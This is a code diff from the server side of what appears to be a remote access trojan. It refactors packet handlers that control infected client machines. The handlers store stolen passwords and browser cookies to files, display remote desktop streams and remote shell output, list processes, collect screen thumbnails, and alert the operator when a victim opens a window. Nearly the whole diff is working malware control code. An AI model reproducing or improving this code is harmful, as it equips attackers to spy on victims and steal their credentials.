@ -13,10 +13,6 @@ namespace Server.Handle_Packet
public void Addmsg(string Msg, Color color) public void Addmsg(string Msg, Color color)
{ {
try try
{
if (Program.form1.listView2.InvokeRequired)
{
Program.form1.listView2.BeginInvoke((MethodInvoker)(() =>
{ {
ListViewItem LV = new ListViewItem(); ListViewItem LV = new ListViewItem();
LV.Text = DateTime.Now.ToLongTimeString(); LV.Text = DateTime.Now.ToLongTimeString();
@ -26,16 +22,6 @@ namespace Server.Handle_Packet
{ {
Program.form1.listView2.Items.Insert(0, LV); Program.form1.listView2.Items.Insert(0, LV);
} }
}));
}
else
{
ListViewItem LV = new ListViewItem();
LV.Text = DateTime.Now.ToLongTimeString();
LV.SubItems.Add(Msg);
LV.ForeColor = color;
Program.form1.listView2.Items.Insert(0, LV);
}
} }
catch { } catch { }
} }

View File

@ -1,5 +1,5 @@
using Server.MessagePack; using Server.MessagePack;
using Server.Sockets; using Server.Connection;
using System.Diagnostics; using System.Diagnostics;
using System.Windows.Forms; using System.Windows.Forms;
@ -8,10 +8,6 @@ namespace Server.Handle_Packet
public class HandlePing public class HandlePing
{ {
public HandlePing(Clients client, MsgPack unpack_msgpack) public HandlePing(Clients client, MsgPack unpack_msgpack)
{
if (Program.form1.listView1.InvokeRequired)
{
Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
{ {
try try
{ {
@ -23,8 +19,6 @@ namespace Server.Handle_Packet
Debug.WriteLine("Temp socket pinged server"); Debug.WriteLine("Temp socket pinged server");
} }
catch { } catch { }
}));
}
} }
} }
} }

View File

@ -1,6 +1,6 @@
using Server.Forms; using Server.Forms;
using Server.MessagePack; using Server.MessagePack;
using Server.Sockets; using Server.Connection;
using System; using System;
using System.Drawing; using System.Drawing;
using System.IO; using System.IO;
@ -13,10 +13,6 @@ namespace Server.Handle_Packet
public void GetProcess(Clients client, MsgPack unpack_msgpack) public void GetProcess(Clients client, MsgPack unpack_msgpack)
{ {
try try
{
if (Program.form1.InvokeRequired)
{
Program.form1.BeginInvoke((MethodInvoker)(() =>
{ {
FormProcessManager PM = (FormProcessManager)Application.OpenForms["processManager:" + client.ID]; FormProcessManager PM = (FormProcessManager)Application.OpenForms["processManager:" + client.ID];
if (PM != null) if (PM != null)
@ -40,8 +36,6 @@ namespace Server.Handle_Packet
i += 2; i += 2;
} }
} }
}));
}
} }
catch { } catch { }

View File

@ -1,5 +1,5 @@
using Server.MessagePack; using Server.MessagePack;
using Server.Sockets; using Server.Connection;
using System; using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.Drawing; using System.Drawing;
@ -26,11 +26,11 @@ namespace Server.Handle_Packet
Directory.CreateDirectory(fullPath); Directory.CreateDirectory(fullPath);
File.WriteAllText(fullPath + "\\Password_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", pass.Replace("\n", Environment.NewLine)); File.WriteAllText(fullPath + "\\Password_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", pass.Replace("\n", Environment.NewLine));
File.WriteAllText(fullPath + "\\Cookies_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", cookies.Replace("\n", Environment.NewLine)); File.WriteAllText(fullPath + "\\Cookies_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", cookies.Replace("\n", Environment.NewLine));
new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} recovered passwords successfully", Color.Purple); new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} recovered passwords successfully", Color.Purple);
} }
else else
{ {
new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} has no passwords", Color.MediumPurple); new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} has no passwords", Color.MediumPurple);
} }
} }
catch { } catch { }

View File

@ -1,7 +1,7 @@
using Server.Forms; using Server.Forms;
using Server.Helper; using Server.Helper;
using Server.MessagePack; using Server.MessagePack;
using Server.Sockets; using Server.Connection;
using System; using System;
using System.Diagnostics; using System.Diagnostics;
using System.Drawing; using System.Drawing;
@ -15,24 +15,20 @@ namespace Server.Handle_Packet
public void Capture(Clients client, MsgPack unpack_msgpack) public void Capture(Clients client, MsgPack unpack_msgpack)
{ {
try try
{
if (Program.form1.InvokeRequired)
{
Program.form1.BeginInvoke((MethodInvoker)(() =>
{ {
FormRemoteDesktop RD = (FormRemoteDesktop)Application.OpenForms["RemoteDesktop:" + unpack_msgpack.ForcePathObject("ID").AsString]; FormRemoteDesktop RD = (FormRemoteDesktop)Application.OpenForms["RemoteDesktop:" + unpack_msgpack.ForcePathObject("ID").AsString];
try try
{ {
if (RD != null) if (RD != null)
{ {
if (RD.C2 == null) if (RD.Client == null)
{ {
RD.C2 = client; RD.Client = client;
RD.timer1.Start(); RD.timer1.Start();
byte[] RdpStream0 = unpack_msgpack.ForcePathObject("Stream").GetAsBytes(); byte[] RdpStream0 = unpack_msgpack.ForcePathObject("Stream").GetAsBytes();
Bitmap decoded0 = RD.decoder.DecodeData(new MemoryStream(RdpStream0)); Bitmap decoded0 = RD.decoder.DecodeData(new MemoryStream(RdpStream0));
RD.rdSize = decoded0.Size; RD.rdSize = decoded0.Size;
// RD.Size = new Size(decoded0.Size.Width / 2, decoded0.Size.Height / 2); RD.labelWait.Visible = false;
} }
byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes(); byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes();
Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream)); Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream));
@ -42,7 +38,7 @@ namespace Server.Handle_Packet
if (RD.RenderSW.ElapsedMilliseconds >= (1000 / 20)) if (RD.RenderSW.ElapsedMilliseconds >= (1000 / 20))
{ {
RD.pictureBox1.Image = (Bitmap)decoded; RD.pictureBox1.Image = decoded;
RD.RenderSW = Stopwatch.StartNew(); RD.RenderSW = Stopwatch.StartNew();
} }
RD.FPS++; RD.FPS++;
@ -60,8 +56,6 @@ namespace Server.Handle_Packet
} }
} }
catch (Exception ex) { Debug.WriteLine(ex.Message); } catch (Exception ex) { Debug.WriteLine(ex.Message); }
}));
}
} }
catch { } catch { }
} }

View File

@ -1,4 +1,4 @@
using Server.Sockets; using Server.Connection;
using System; using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.Drawing; using System.Drawing;
@ -13,18 +13,12 @@ namespace Server.Handle_Packet
{ {
public HandleReportWindow(Clients client, string title) public HandleReportWindow(Clients client, string title)
{ {
new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} Opened [{title}]", Color.Blue); new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} Opened [{title}]", Color.Blue);
if (Program.form1.InvokeRequired)
{
Program.form1.BeginInvoke((MethodInvoker)(() =>
{
if (Properties.Settings.Default.Notification == true) if (Properties.Settings.Default.Notification == true)
{ {
Program.form1.notifyIcon1.BalloonTipText = $"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} Opened [{title}]"; Program.form1.notifyIcon1.BalloonTipText = $"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} Opened [{title}]";
Program.form1.notifyIcon1.ShowBalloonTip(100); Program.form1.notifyIcon1.ShowBalloonTip(100);
} }
}));
}
} }
} }
} }

View File

@ -1,6 +1,6 @@
using Server.Forms; using Server.Forms;
using Server.MessagePack; using Server.MessagePack;
using Server.Sockets; using Server.Connection;
using System; using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.Linq; using System.Linq;
@ -13,10 +13,6 @@ namespace Server.Handle_Packet
public class HandleShell public class HandleShell
{ {
public HandleShell(MsgPack unpack_msgpack, Clients client) public HandleShell(MsgPack unpack_msgpack, Clients client)
{
if (Program.form1.InvokeRequired)
{
Program.form1.BeginInvoke((MethodInvoker)(() =>
{ {
FormShell shell = (FormShell)Application.OpenForms["shell:" + client.ID]; FormShell shell = (FormShell)Application.OpenForms["shell:" + client.ID];
if (shell != null) if (shell != null)
@ -25,8 +21,6 @@ namespace Server.Handle_Packet
shell.richTextBox1.SelectionStart = shell.richTextBox1.TextLength; shell.richTextBox1.SelectionStart = shell.richTextBox1.TextLength;
shell.richTextBox1.ScrollToCaret(); shell.richTextBox1.ScrollToCaret();
} }
}));
}
} }
} }
} }

View File

@ -1,5 +1,5 @@
using Server.MessagePack; using Server.MessagePack;
using Server.Sockets; using Server.Connection;
using System.Diagnostics; using System.Diagnostics;
using System.Drawing; using System.Drawing;
using System.IO; using System.IO;
@ -12,15 +12,11 @@ namespace Server.Handle_Packet
public HandleThumbnails(Clients client, MsgPack unpack_msgpack) public HandleThumbnails(Clients client, MsgPack unpack_msgpack)
{ {
try try
{
if (Program.form1.listView3.InvokeRequired)
{
Program.form1.listView3.BeginInvoke((MethodInvoker)(() =>
{ {
if (client.LV2 == null && Program.form1.GetThumbnails.Tag == (object)"started") if (client.LV2 == null && Program.form1.GetThumbnails.Tag == (object)"started")
{ {
client.LV2 = new ListViewItem(); client.LV2 = new ListViewItem();
client.LV2.Text = string.Format("{0}:{1}", client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0], client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]); client.LV2.Text = string.Format("{0}:{1}", client.TcpClient.RemoteEndPoint.ToString().Split(':')[0], client.TcpClient.LocalEndPoint.ToString().Split(':')[1]);
client.LV2.ToolTipText = client.ID; client.LV2.ToolTipText = client.ID;
using (MemoryStream memoryStream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes())) using (MemoryStream memoryStream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes()))
{ {
@ -43,8 +39,6 @@ namespace Server.Handle_Packet
} }
} }
} }
}));
}
} }
catch { } catch { }
} }

Some files were not shown because too many files have changed in this diff Show More